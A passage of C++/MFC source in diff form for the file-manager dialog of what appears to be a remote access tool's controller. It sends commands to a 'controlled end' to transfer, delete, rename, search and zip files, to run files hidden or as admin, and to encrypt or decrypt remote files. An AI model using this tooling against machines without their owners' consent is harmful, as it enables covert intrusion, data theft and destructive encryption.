CreateFile(m_strReceiveLocalFile.GetBuffer(0), + GENERIC_WRITE, 0, NULL, dwCreationDisposition, FILE_ATTRIBUTE_NORMAL, 0); + // 需要错误处理 + if (m_hFileRecv == INVALID_HANDLE_VALUE) { + m_nOperatingFileLength = 0; + m_nCounter = 0; + ::MessageBox(m_hWnd, m_strReceiveLocalFile + _T(" 文件创建失败"), _T("警告"), MB_OK | MB_ICONWARNING); + return; + } + + ShowProgress(); + if (m_bIsStop) + SendStop(TRUE); + else { + // 发送继续传输文件的token,包含文件续传的偏移 + m_iocpServer->Send(m_pContext, bToken, sizeof(bToken)); + } +} + +// 写入文件内容 +void CFileManagerDlg::WriteLocalRecvFile() +{ + // 传输完毕 + BYTE* pData; + DWORD dwBytesToWrite; + DWORD dwBytesWrite = 0; + int nHeadLength = 9; // 1 + 4 + 4 数据包头部大小,为固定的9 + FILESIZE* pFileSize; + // 得到数据的偏移 + pData = m_pContext->m_DeCompressionBuffer.GetBuffer(nHeadLength); + + pFileSize = (FILESIZE*)m_pContext->m_DeCompressionBuffer.GetBuffer(1); + // 得到数据在文件中的偏移, 赋值给计数器 + //m_nCounter = MAKEINT64(pFileSize->dwSizeLow, pFileSize->dwSizeHigh); + + LONG dwOffsetHigh = pFileSize->dwSizeHigh; + LONG dwOffsetLow = pFileSize->dwSizeLow; + // 得到数据在文件中的偏移, 赋值给计数器 + m_nCounter = MAKEINT64(dwOffsetLow, dwOffsetHigh); + + if (m_nCounter < 0) { //数据出错 返回上传传送数据 + m_nCounter = Bf_nCounters; + dwOffsetHigh = Bf_dwOffsetHighs; + dwOffsetLow = Bf_dwOffsetLows; + } else { + Bf_nCounters = m_nCounter; + Bf_dwOffsetHighs = dwOffsetHigh; + Bf_dwOffsetLows = dwOffsetLow; + + dwBytesToWrite = m_pContext->m_DeCompressionBuffer.GetBufferLen() - nHeadLength; + + SetFilePointer(m_hFileRecv, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN); + + BOOL bResult = FALSE; + int i = 0; + for (i = 0; i < MAX_WRITE_RETRY; i++) { + // 写入文件 + bResult = WriteFile(m_hFileRecv, pData, dwBytesToWrite, &dwBytesWrite, NULL); + if (bResult) + break; + } + if (i == MAX_WRITE_RETRY && !bResult) { + ::MessageBox(m_hWnd, m_strReceiveLocalFile + _T(" 文件写入失败"), _T("警告"), MB_OK | MB_ICONWARNING); + } + dwOffsetLow = 0; + dwOffsetHigh = 0; + dwOffsetLow = SetFilePointer(m_hFileRecv, dwOffsetLow, &dwOffsetHigh, FILE_CURRENT); + // 为了比较,计数器递增 + m_nCounter += dwBytesWrite; + ShowProgress(); + } + if (m_bIsStop) + SendStop(TRUE); + else { + BYTE bToken[9]; + bToken[0] = COMMAND_CONTINUE; + memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh)); + memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow)); + m_iocpServer->Send(m_pContext, bToken, sizeof(bToken)); + } +} + +void CFileManagerDlg::EndLocalRecvFile() +{ + m_nCounter = 0; + m_strOperatingFile = ""; + m_nOperatingFileLength = 0; + + if (m_hFileRecv != INVALID_HANDLE_VALUE) { + CloseHandle(m_hFileRecv); + m_hFileRecv = INVALID_HANDLE_VALUE; + } + + if (m_Remote_Download_Job.IsEmpty() || m_bIsStop) { + m_Remote_Download_Job.RemoveAll(); + // 重置传输方式 + m_nTransferMode = TRANSFER_MODE_NORMAL; + EnableControl(TRUE); + DWORD_PTR dwResult; + if (m_bIsStop) { + SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, + (LPARAM)_T(" 取消下载"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); + } else { + SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, + (LPARAM)_T(" 全部完成"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); + } + m_bIsStop = false; + } else { + // 我靠,不sleep下会出错,服了可能以前的数据还没send出去 + Sleep(5); + SendDownloadJob(); + } + + return; +} + +void CFileManagerDlg::EndLocalUploadFile() +{ + m_nCounter = 0; + m_strOperatingFile = _T(""); + m_nOperatingFileLength = 0; + + if (m_hFileSend != INVALID_HANDLE_VALUE) { + CloseHandle(m_hFileSend); + m_hFileSend = INVALID_HANDLE_VALUE; + } + SendStop(FALSE); // 发了之后, 被控端才会关闭句柄 + + if (m_Remote_Upload_Job.IsEmpty() || m_bIsStop) { + m_Remote_Upload_Job.RemoveAll(); + EnableControl(TRUE); + GetRemoteFileList(_T(".")); + DWORD_PTR dwResult; + if (m_bIsStop) { + SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, + (LPARAM)_T(" 取消上传"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); + } else { + SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, + (LPARAM)_T(" 全部完成"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); + } + m_bIsStop = false; + DRIVE_CAZ = TRUE; + } else { + Sleep(5); + SendUploadJob(); + } + return; +} + +void CFileManagerDlg::EndRemoteDeleteFile() +{ + if (m_Remote_Delete_Job.IsEmpty() || m_bIsStop) { + m_bIsStop = false; + EnableControl(TRUE); + GetRemoteFileList(_T(".")); + DWORD_PTR dwResult; + if (m_strFileName.GetAt(m_strFileName.GetLength() - 1) == '\\') + ShowMessage(_T("删除目录:%s (完成)"), m_strFileName); + else + ShowMessage(_T("删除文件:%s (完成)"), m_strFileName); + SendMessageTimeout(m_ProgressCtrl->GetSafeHwnd(), PBM_SETPOS, 0, 0, SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); + SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, NULL, SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); + DRIVE_CAZ = TRUE; + } else { + Sleep(5); + SendDeleteJob(); + } + return; +} + +void CFileManagerDlg::SendException() +{ + BYTE bBuff = COMMAND_FILE_EXCEPTION; + m_iocpServer->Send(m_pContext, &bBuff, 1); +} + +void CFileManagerDlg::SendContinue() +{ + BYTE bBuff = COMMAND_CONTINUE; + m_iocpServer->Send(m_pContext, &bBuff, 1); +} + +void CFileManagerDlg::SendStop(BOOL bIsDownload) +{ + if (m_hFileRecv != INVALID_HANDLE_VALUE) { + CloseHandle(m_hFileRecv); + m_hFileRecv = INVALID_HANDLE_VALUE; + } + BYTE bBuff[2]; + bBuff[0] = COMMAND_STOP; + bBuff[1] = bIsDownload; + m_iocpServer->Send(m_pContext, bBuff, sizeof(bBuff)); +} + +void CFileManagerDlg::ShowProgress() +{ + TCHAR* lpDirection = NULL; + if (m_bIsUpload) + lpDirection = _T("文件上传"); + else + lpDirection = _T("文件下载"); + + if (m_nCounter == -1) { + m_nCounter = m_nOperatingFileLength; + } + + int progress = (int)((double)(m_nCounter * 100) / m_nOperatingFileLength); + CString str; + DWORD_PTR dwResult; + if (m_nCounter >= 1024 * 1024 * 1024) + str.Format(_T("%.2f GB (%d%%)"), (double)m_nCounter / (1024 * 1024 * 1024), progress); + else if (m_nCounter >= 1024 * 1024) + str.Format(_T("%.2f MB (%d%%)"), (double)m_nCounter / (1024 * 1024), progress); + else + str.Format(_T("%I64u KB (%d%%)"), m_nCounter / 1024 + (m_nCounter % 1024 ? 1 : 0), progress); + ShowMessage(_T("%s: %s"), lpDirection, m_strFileName); + SendMessageTimeout(m_ProgressCtrl->GetSafeHwnd(), PBM_SETPOS, (WPARAM)progress, 0, SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); + SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)str.GetBuffer(0), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); + + if (m_nCounter == m_nOperatingFileLength) { + m_nCounter = m_nOperatingFileLength = 0; + // 关闭文件句柄 + } +} + +void CFileManagerDlg::OnRemoteDelete() +{ + m_bIsUpload = false; + // TODO: Add your command handler code here + CString str; + if (m_list_remote.GetSelectedCount() > 1) + str.Format(_T("确定要将这 %d 项删除吗?"), m_list_remote.GetSelectedCount()); + else { + CString file = m_list_remote.GetItemText(m_list_remote.GetSelectionMark(), 0); + if (m_list_remote.GetItemData(m_list_remote.GetSelectionMark()) == 1) + str.Format(_T("确实要删除文件夹“%s”并将所有内容删除吗?"), file); + else + str.Format(_T("确实要把“%s”删除吗?"), file); + } + if (::MessageBox(m_hWnd, str, _T("确认删除"), MB_YESNO | MB_ICONQUESTION) == IDNO) + return; + m_Remote_Delete_Job.RemoveAll(); + POSITION pos = m_list_remote.GetFirstSelectedItemPosition(); //iterator for the CListCtrl + while (pos) { //so long as we have a valid POSITION, we keep iterating + int nItem = m_list_remote.GetNextSelectedItem(pos); + CString file = m_Remote_Path + m_list_remote.GetItemText(nItem, 0); + // 如果是目录 + if (m_list_remote.GetItemData(nItem)) + file += _T('\\'); + + m_Remote_Delete_Job.AddTail(file); + } + EnableControl(FALSE); + // 发送第一个下载任务 + SendDeleteJob(); +} + +void CFileManagerDlg::OnRemoteStop() +{ + m_bIsStop = true; +} + + +void CFileManagerDlg::PostNcDestroy() +{ + if (!m_bOnClose) + OnClose(); + CDialog::PostNcDestroy(); + delete this; +} + +void CFileManagerDlg::SendTransferMode() +{ + CFileTransferModeDlg dlg(this); + dlg.m_strFileName = m_strUploadRemoteFile; + switch (dlg.DoModal()) { + case IDC_OVERWRITE: + m_nTransferMode = TRANSFER_MODE_OVERWRITE; + break; + case IDC_OVERWRITE_ALL: + m_nTransferMode = TRANSFER_MODE_OVERWRITE_ALL; + break; + case IDC_ADDITION: + m_nTransferMode = TRANSFER_MODE_ADDITION; + break; + case IDC_ADDITION_ALL: + m_nTransferMode = TRANSFER_MODE_ADDITION_ALL; + break; + case IDC_JUMP: + m_nTransferMode = TRANSFER_MODE_JUMP; + break; + case IDC_JUMP_ALL: + m_nTransferMode = TRANSFER_MODE_JUMP_ALL; + break; + case IDC_CANCEL: + m_nTransferMode = TRANSFER_MODE_CANCEL; + break; + } + if (m_nTransferMode == TRANSFER_MODE_CANCEL) { + m_bIsStop = true; + EndLocalUploadFile(); + return; + } + + BYTE bToken[5]; + bToken[0] = COMMAND_SET_TRANSFER_MODE; + memcpy(bToken + 1, &m_nTransferMode, sizeof(m_nTransferMode)); + m_iocpServer->Send(m_pContext, bToken, sizeof(bToken)); +} + +void CFileManagerDlg::SendFileData() +{ + FILESIZE* pFileSize = (FILESIZE*)(m_pContext->m_DeCompressionBuffer.GetBuffer(1)); + LONG dwOffsetHigh = pFileSize->dwSizeHigh; + LONG dwOffsetLow = pFileSize->dwSizeLow; + + m_nCounter = MAKEINT64(pFileSize->dwSizeLow, pFileSize->dwSizeHigh); + + ShowProgress(); + + if (m_nCounter == m_nOperatingFileLength || (dwOffsetHigh == -1 && dwOffsetLow == -1) || m_bIsStop) { + EndLocalUploadFile(); + return; + } + + SetFilePointer(m_hFileSend, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN); + + int nHeadLength = 9; // 1 + 4 + 4 数据包头部大小,为固定的9 + + int dwDownFileSize = GetFileSize(m_hFileSend, NULL); + + DWORD nNumberOfBytesToRead = MAX_SEND_BUFFER - nHeadLength; + DWORD nNumberOfBytesRead = 0; + + BYTE* lpBuffer = (BYTE*)LocalAlloc(LPTR, MAX_SEND_BUFFER); + // Token, 大小,偏移,数据 + lpBuffer[0] = COMMAND_FILE_DATA; + memcpy(lpBuffer + 1, &dwOffsetHigh, sizeof(dwOffsetHigh)); + memcpy(lpBuffer + 5, &dwOffsetLow, sizeof(dwOffsetLow)); + // 返回值 + bool bRet = true; + ReadFile(m_hFileSend, lpBuffer + nHeadLength, nNumberOfBytesToRead, &nNumberOfBytesRead, NULL); + //CloseHandle(m_hFileSend); // 此处不要关闭, 以后还要用 + + if (nNumberOfBytesRead > 0) { + int nPacketSize = nNumberOfBytesRead + nHeadLength; + m_iocpServer->Send(m_pContext, lpBuffer, nPacketSize); + } + LocalFree(lpBuffer); +} + +bool CFileManagerDlg::DeleteDirectory(LPCTSTR lpszDirectory) +{ + WIN32_FIND_DATA wfd; + TCHAR lpszFilter[MAX_PATH]; + + wsprintf(lpszFilter, _T("%s\\*.*"), lpszDirectory); + + HANDLE hFind = FindFirstFile(lpszFilter, &wfd); + if (hFind == INVALID_HANDLE_VALUE) // 如果没有找到或查找失败 + return FALSE; + + do { + if (wfd.cFileName[0] != '.') { + if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { + TCHAR strDirectory[MAX_PATH]; + wsprintf(strDirectory, _T("%s\\%s"), lpszDirectory, wfd.cFileName); + DeleteDirectory(strDirectory); + } else { + TCHAR strFile[MAX_PATH]; + wsprintf(strFile, _T("%s\\%s"), lpszDirectory, wfd.cFileName); + DeleteFile(strFile); + } + } + } while (FindNextFile(hFind, &wfd)); + + FindClose(hFind); // 关闭查找句柄 + + if (!RemoveDirectory(lpszDirectory)) { + return FALSE; + } + return true; +} + + +void CFileManagerDlg::OnRemoteNewFolder() +{ + if (m_Remote_Path == _T("")) + return; + + CInputDialog dlg(this); + dlg.Init(_T("新建目录"), _T("请输入目录名称:")); + if (dlg.DoModal() == IDOK && dlg.m_str.GetLength()) { + CString file = m_Remote_Path + dlg.m_str + _T("\\"); + UINT nPacketSize = (file.GetLength() + 1) * sizeof(TCHAR) + 1; + LPBYTE lpBuffer = new BYTE[nPacketSize]; + lpBuffer[0] = COMMAND_CREATE_FOLDER; + memcpy(lpBuffer + 1, file.GetBuffer(0), nPacketSize - 1); + m_iocpServer->Send(m_pContext, lpBuffer, nPacketSize); + SAFE_DELETE_AR(lpBuffer); + } +} + +void CFileManagerDlg::OnTransferRecv() +{ + OnRemoteCopy(); //下载 +} + +void CFileManagerDlg::OnRename() +{ + m_list_remote.EditLabel(m_list_remote.GetSelectionMark()); +} + + +void CFileManagerDlg::OnEndLabelEditListRemote(NMHDR* pNMHDR, LRESULT* pResult) +{ + LV_DISPINFO* pDispInfo = (LV_DISPINFO*)pNMHDR; + // TODO: Add your control notification handler code here + CString str, strExistingFileName, strNewFileName; + m_list_remote.GetEditControl()->GetWindowText(str); + + strExistingFileName = m_Remote_Path + m_list_remote.GetItemText(pDispInfo->item.iItem, 0); + strNewFileName = m_Remote_Path + str; + + if (strExistingFileName != strNewFileName) { + UINT nPacketSize = (strExistingFileName.GetLength() + 1) * sizeof(TCHAR) + (strNewFileName.GetLength() + 1) * sizeof(TCHAR) + 1; + LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, nPacketSize); + lpBuffer[0] = COMMAND_RENAME_FILE; + memcpy(lpBuffer + 1, strExistingFileName.GetBuffer(0), (strExistingFileName.GetLength() + 1) * sizeof(TCHAR)); + memcpy(lpBuffer + 1 + (strExistingFileName.GetLength() + 1) * sizeof(TCHAR), + strNewFileName.GetBuffer(0), (strNewFileName.GetLength() + 1) * sizeof(TCHAR)); + m_iocpServer->Send(m_pContext, lpBuffer, nPacketSize); + LocalFree(lpBuffer); + } + *pResult = 1; +} + +void CFileManagerDlg::OnDelete() +{ + BYTE bBuff; + bBuff = COMMAND_FILE_NO_ENFORCE; + m_iocpServer->Send(m_pContext, &bBuff, sizeof(bBuff)); + OnRemoteDelete(); +} + +void CFileManagerDlg::OnDeleteEnforce() +{ + BYTE bBuff; + bBuff = COMMAND_FILE_ENFOCE; + m_iocpServer->Send(m_pContext, &bBuff, sizeof(bBuff)); + OnRemoteDelete(); +} + +void CFileManagerDlg::OnNewFolder() +{ + OnRemoteNewFolder(); +} + +void CFileManagerDlg::OnRefresh() +{ + GetRemoteFileList(_T(".")); +} + +void CFileManagerDlg::OnUseAdmin() +{ + if (!m_bUseAdmin) + m_bUseAdmin = true; + else + m_bUseAdmin = false; +} + +void CFileManagerDlg::OnRemoteOpenShow() +{ + // TODO: Add your command handler code here + CString str; + int nItem = m_list_remote.GetSelectionMark(); + str = m_Remote_Path + m_list_remote.GetItemText(nItem, 0); + if (m_list_remote.GetItemData(nItem) == 1) + str += "\\"; + + int nPacketLength = (str.GetLength() + 1) * sizeof(TCHAR) + 2; + LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength); + lpPacket[0] = COMMAND_OPEN_FILE_SHOW; + lpPacket[1] = m_bUseAdmin; + memcpy(lpPacket + 2, str.GetBuffer(0), nPacketLength - 2); + m_iocpServer->Send(m_pContext, lpPacket, nPacketLength); + LocalFree(lpPacket); +} + +void CFileManagerDlg::OnRemoteOpenHide() +{ + // TODO: Add your command handler code here + CString str; + int nItem = m_list_remote.GetSelectionMark(); + str = m_Remote_Path + m_list_remote.GetItemText(nItem, 0); + if (m_list_remote.GetItemData(nItem) == 1) + str += _T("\\"); + + int nPacketLength = (str.GetLength() + 1) * sizeof(TCHAR) + 2; + LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength); + lpPacket[0] = COMMAND_OPEN_FILE_HIDE; + lpPacket[1] = m_bUseAdmin; + memcpy(lpPacket + 2, str.GetBuffer(0), nPacketLength - 2); + m_iocpServer->Send(m_pContext, lpPacket, nPacketLength); + LocalFree(lpPacket); +} + +void CFileManagerDlg::OnRemoteInfo() +{ + // TODO: Add your command handler code here + CString str; + int nItem = m_list_remote.GetSelectionMark(); + str = m_Remote_Path + m_list_remote.GetItemText(nItem, 0); + if (m_list_remote.GetItemData(nItem) == 1) + str += _T("\\"); + + int nPacketLength = (str.GetLength() + 1) * sizeof(TCHAR) + 2; + LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength); + lpPacket[0] = COMMAND_FILE_INFO; + memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1); + m_iocpServer->Send(m_pContext, lpPacket, nPacketLength); + LocalFree(lpPacket); +} + +void CFileManagerDlg::OnRemoteEncryption() +{ + // TODO: Add your command handler code here + CString str; + CStringA strA; + int nItem = m_list_remote.GetSelectionMark(); + str = m_Remote_Path + m_list_remote.GetItemText(nItem, 0); + if (m_list_remote.GetItemData(nItem) == 1) + str += _T("\\"); + strA = str; + int nPacketLength = strA.GetLength() + 1 + 1; + LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength); + lpPacket[0] = COMMAND_FILE_Encryption; + + memcpy(lpPacket + 1, strA.GetBuffer(0), nPacketLength - 1); + m_iocpServer->Send(m_pContext, lpPacket, nPacketLength); + LocalFree(lpPacket); +} + +void CFileManagerDlg::OnRemoteDecrypt() +{ + // TODO: Add your command handler code here + CString str; + CStringA strA; + int nItem = m_list_remote.GetSelectionMark(); + str = m_Remote_Path + m_list_remote.GetItemText(nItem, 0); + if (m_list_remote.GetItemData(nItem) == 1) + str += _T("\\"); + strA = str; + int nPacketLength = strA.GetLength() + 1 + 1; + LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength); + lpPacket[0] = COMMAND_FILE_Decrypt; + + memcpy(lpPacket + 1, strA.GetBuffer(0), nPacketLength - 1); + m_iocpServer->Send(m_pContext, lpPacket, nPacketLength); + LocalFree(lpPacket); +} + + +void CFileManagerDlg::OnRemoteCopyFile() +{ + CString file; + // TODO: Add your command handler code here + POSITION pos = m_list_remote.GetFirstSelectedItemPosition(); //iterator for the CListCtrl + while (pos) { //so long as we have a valid POSITION, we keep iterating + int nItem = m_list_remote.GetNextSelectedItem(pos); + file += (m_Remote_Path + m_list_remote.GetItemText(nItem, 0)); + file += "|"; + } + + int nPacketLength = file.GetLength() * 2 + 2 + 1; + LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength); + lpPacket[0] = COMMAND_FILE_CopyFile; + + memcpy(lpPacket + 1, file.GetBuffer(0), nPacketLength - 1); + m_iocpServer->Send(m_pContext, lpPacket, nPacketLength); + LocalFree(lpPacket); + ShowMessage(_T("准备粘贴")); +} + +void CFileManagerDlg::OnRemotePasteFile() +{ + int nPacketLength = m_Remote_Path.GetLength() * 2 + 2 + 1; + LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength); + lpPacket[0] = COMMAND_FILE_PasteFile; + memcpy(lpPacket + 1, m_Remote_Path.GetBuffer(0), nPacketLength - 1); + m_iocpServer->Send(m_pContext, lpPacket, nPacketLength); + LocalFree(lpPacket); +} + +void CFileManagerDlg::OnRemotezip() +{ + CString file; + file = m_Remote_Path; + file += "|"; + // TODO: Add your command handler code here + POSITION pos = m_list_remote.GetFirstSelectedItemPosition(); //iterator for the CListCtrl + while (pos) { //so long as we have a valid POSITION, we keep iterating + int nItem = m_list_remote.GetNextSelectedItem(pos); + file += (m_Remote_Path + m_list_remote.GetItemText(nItem, 0)); + // 如果是目录 + if (m_list_remote.GetItemData(nItem)) + file += _T('\\'); + file += "|"; + } + int nPacketLength = file.GetLength() * 2 + 2 + 1; + LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength); + lpPacket[0] = COMMAND_FILE_zip; + + memcpy(lpPacket + 1, file.GetBuffer(0), nPacketLength - 1); + m_iocpServer->Send(m_pContext, lpPacket, nPacketLength); + LocalFree(lpPacket); + + ShowMessage(_T("开始压缩,不要关闭窗口,其他操作继续")); +} + +void CFileManagerDlg::OnRemotezipstop() +{ + BYTE lpPacket = COMMAND_FILE_zip_stop; + m_iocpServer->Send(m_pContext, &lpPacket, 1); +} + +void CFileManagerDlg::OnRclickListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult) +{ + CMenu mListmeau; + mListmeau.CreatePopupMenu(); + mListmeau.AppendMenu(MF_STRING | MF_ENABLED, 100, _T("分区高级搜索")); + POINT mousepos; + GetCursorPos(&mousepos); + int nMenuResult = ::TrackPopupMenu(mListmeau, TPM_LEFTALIGN | TPM_RIGHTBUTTON | TPM_RETURNCMD, mousepos.x, mousepos.y, 0, GetSafeHwnd(), NULL); + mListmeau.DestroyMenu(); + if (!nMenuResult) return; + switch (nMenuResult) { + case 100: { + UpdateData(); + + //获取文件详细信息 + POSITION pos = m_list_remote_driver.GetFirstSelectedItemPosition(); + CString str_disk; + if (pos != NULL) { + int nItem = m_list_remote_driver.GetNextSelectedItem(pos); + str_disk = m_list_remote_driver.GetItemText(nItem, 0); + if (str_disk.Find(_T(":")) == -1) return;; + } + CInputDialog dlg(this); + dlg.Init(_T("确认后 必须等待出现结果"), _T("请输入要搜索的关键词")); + if (dlg.DoModal() != IDOK)return; + + // 得到返回数据前禁窗口 + m_list_remote_search.DeleteAllItems(); + m_ProgressCtrl->SetPos(0); + struct SEARCH { + TCHAR TC_disk[8]; + TCHAR TC_search[MAX_PATH]; + }; + SEARCH S_search; + memset(&S_search, 0, sizeof(SEARCH)); + + memcpy(S_search.TC_disk, str_disk.GetBuffer(), str_disk.GetLength() * sizeof(TCHAR)); + if (dlg.m_str.GetLength() > (MAX_PATH - 5)) { + MessageBox(_T("搜索关键词太长"), _T("注意")); + return ; + } + memcpy(S_search.TC_search, dlg.m_str.GetBuffer(), dlg.m_str.GetLength() * sizeof(TCHAR)); + + BYTE* lpbuffer = new BYTE[sizeof(SEARCH) + 1]; + lpbuffer[0] = COMMAND_FILE_SEARCHPLUS_LIST; + memcpy(lpbuffer + 1, &S_search, sizeof(SEARCH)); + m_iocpServer->Send(m_pContext, (LPBYTE)lpbuffer, sizeof(SEARCH) + 1); + SAFE_DELETE_AR(lpbuffer); + SetWindowPos(NULL, 0, 0, 830, 830, SWP_NOMOVE); + } + break; + default: + break; + } + *pResult = 0; +} + +void CFileManagerDlg::OnRclickListRemote(NMHDR* pNMHDR, LRESULT* pResult) +{ + // TODO: Add your control notification handler code here + int nRemoteOpenMenuIndex = 5; + CListCtrl* pListCtrl = &m_list_remote; + CMenu popup; + popup.LoadMenu(IDR_FILEMANAGER); + CMenu* pM = popup.GetSubMenu(0); + CPoint p; + GetCursorPos(&p); + // pM->DeleteMenu(IDM_LOCAL_OPEN, MF_BYCOMMAND); + if (pListCtrl->GetSelectedCount() == 0 || !m_Remote_Path.GetLength()) { + int count = pM->GetMenuItemCount(); + for (int i = 0; i < count; i++) { + pM->EnableMenuItem(i, MF_BYPOSITION | MF_GRAYED); + } + if (m_Remote_Path.GetLength()) { + pM->EnableMenuItem(IDM_TRANSFER_S, MF_BYCOMMAND | MF_ENABLED); + pM->EnableMenuItem(IDM_NEWFOLDER, MF_BYCOMMAND | MF_ENABLED); + } + pM->EnableMenuItem(ID_FILEMANGER_ZIP, MF_BYCOMMAND | MF_GRAYED); + pM->EnableMenuItem(ID_FILEMANGER_COPY, MF_BYCOMMAND | MF_GRAYED); + pM->EnableMenuItem(IDM_DELETE_ENFORCE, MF_BYCOMMAND | MF_GRAYED); + pM->EnableMenuItem(ID_FILEMANGER_Encryption, MF_BYCOMMAND | MF_GRAYED); + pM->EnableMenuItem(ID_FILEMANGER_Encryption, MF_BYCOMMAND | MF_GRAYED); + pM->EnableMenuItem(IDM_COMPRESS, MF_BYCOMMAND | MF_GRAYED); + pM->EnableMenuItem(IDM_UNCOMPRESS, MF_BYCOMMAND | MF_GRAYED); + pM->EnableMenuItem(IDM_REMOTE_OPEN_HIDE, MF_BYCOMMAND | MF_GRAYED); + pM->EnableMenuItem(IDM_RENAME, MF_BYCOMMAND | MF_GRAYED); + pM->EnableMenuItem(ID_FILEMANGER_PASTE, MF_BYCOMMAND | MF_ENABLED); + } + if (pListCtrl->GetSelectedCount() == 1) { + // 单选如果是目录, 不能隐藏运行 + if (pListCtrl->GetItemData(pListCtrl->GetSelectionMark()) == 1) { + pM->EnableMenuItem(IDM_REMOTE_OPEN_HIDE, MF_BYCOMMAND | MF_GRAYED); + pM->EnableMenuItem(IDM_REMOTE_OPEN_SHOW, MF_BYCOMMAND | MF_GRAYED); + } + pM->EnableMenuItem(ID_FILEMANGER_COPY, MF_BYCOMMAND | MF_ENABLED); + pM->EnableMenuItem(ID_FILEMANGER_ZIP, MF_BYCOMMAND | MF_ENABLED); + pM->EnableMenuItem(IDM_COMPRESS, MF_BYCOMMAND | MF_ENABLED); + pM->EnableMenuItem(IDM_UNCOMPRESS, MF_BYCOMMAND | MF_ENABLED); + pM->EnableMenuItem(ID_FILEMANGER_PASTE, MF_BYCOMMAND | MF_ENABLED); + } + if (pListCtrl->GetSelectedCount() > 1) { + pM->EnableMenuItem(IDM_REMOTE_OPEN_SHOW, MF_BYCOMMAND | MF_GRAYED); + pM->EnableMenuItem(IDM_REMOTE_OPEN_HIDE, MF_BYCOMMAND | MF_GRAYED); + pM->EnableMenuItem(IDM_COMPRESS, MF_BYCOMMAND | MF_GRAYED); + pM->EnableMenuItem(IDM_UNCOMPRESS, MF_BYCOMMAND | MF_GRAYED); + pM->EnableMenuItem(IDM_RENAME, MF_BYCOMMAND | MF_GRAYED); + pM->EnableMenuItem(ID_FILEMANGER_COPY, MF_BYCOMMAND | MF_ENABLED); + pM->EnableMenuItem(ID_FILEMANGER_ZIP, MF_BYCOMMAND | MF_ENABLED); + pM->EnableMenuItem(ID_FILEMANGER_PASTE, MF_BYCOMMAND | MF_ENABLED); + } + + if (m_bCanAdmin) + pM->EnableMenuItem(IDM_USE_ADMIN, MF_BYCOMMAND | MF_ENABLED); + else + pM->EnableMenuItem(IDM_USE_ADMIN, MF_BYCOMMAND | MF_GRAYED); + + if (m_bUseAdmin) + pM->CheckMenuItem(IDM_USE_ADMIN, MF_BYCOMMAND | MF_CHECKED); + else + pM->CheckMenuItem(IDM_USE_ADMIN, MF_BYCOMMAND | MF_UNCHECKED); + + pM->EnableMenuItem(IDM_REFRESH, MF_BYCOMMAND | MF_ENABLED); + pM->EnableMenuItem(ID_FILEMANGER_ZIP_STOP, MF_BYCOMMAND | MF_ENABLED); + ::TrackPopupMenu(pM->GetSafeHmenu(), TPM_RIGHTBUTTON, p.x, p.y, 0, GetSafeHwnd(), NULL); + + pM->DestroyMenu(); + *pResult = 0; +} + +void CFileManagerDlg::OnRclickListSearch(NMHDR* pNMHDR, LRESULT* pResult) +{ + CMenu mListmeau; + mListmeau.CreatePopupMenu(); + mListmeau.AppendMenu(MF_STRING | MF_ENABLED, 100, _T("下载(附带目录结构)")); + mListmeau.AppendMenu(MF_STRING | MF_ENABLED, 200, _T("删除")); + mListmeau.AppendMenu(MF_STRING | MF_ENABLED, 300, _T("打开文件位置")); + POINT mousepos; + GetCursorPos(&mousepos); + int nMenuResult = ::TrackPopupMenu(mListmeau, TPM_LEFTALIGN | TPM_RIGHTBUTTON | TPM_RETURNCMD, mousepos.x, mousepos.y, 0, GetSafeHwnd(), NULL); + mListmeau.DestroyMenu(); + if (!nMenuResult) return; + switch (nMenuResult) { + case 100: { + m_bIsUpload = false; + EnableControl(FALSE); + CString file; + m_Remote_Download_Job.RemoveAll(); + POSITION pos = m_list_remote_search.GetFirstSelectedItemPosition(); + CString m_Search_Path; + while (pos) { + int nItem = m_list_remote_search.GetNextSelectedItem(pos); + m_Search_Path = m_list_remote_search.GetItemText(nItem, 3); + m_Search_Path += '\\'; + file = m_Search_Path + m_list_remote_search.GetItemText(nItem, 0); + if (m_list_remote_search.GetItemData(nItem)) + file += '\\'; + m_Remote_Download_Job.AddTail(file); + } + if (file.IsEmpty()) { + EnableControl(TRUE); + ::MessageBox(m_hWnd, _T("请选择文件!"), _T("警告"), MB_OK | MB_ICONWARNING); + return; + } + strLpath = GetDirectoryPath(FALSE); + if (strLpath == _T("")) { + EnableControl(TRUE); + return; + } + if (strLpath.GetAt(strLpath.GetLength() - 1) != _T('\\')) + strLpath += _T("\\"); + m_nTransferMode = TRANSFER_MODE_NORMAL; + SendDownloadJob(); + } + break; + case 200: { + m_bIsUpload = false; + // TODO: Add your 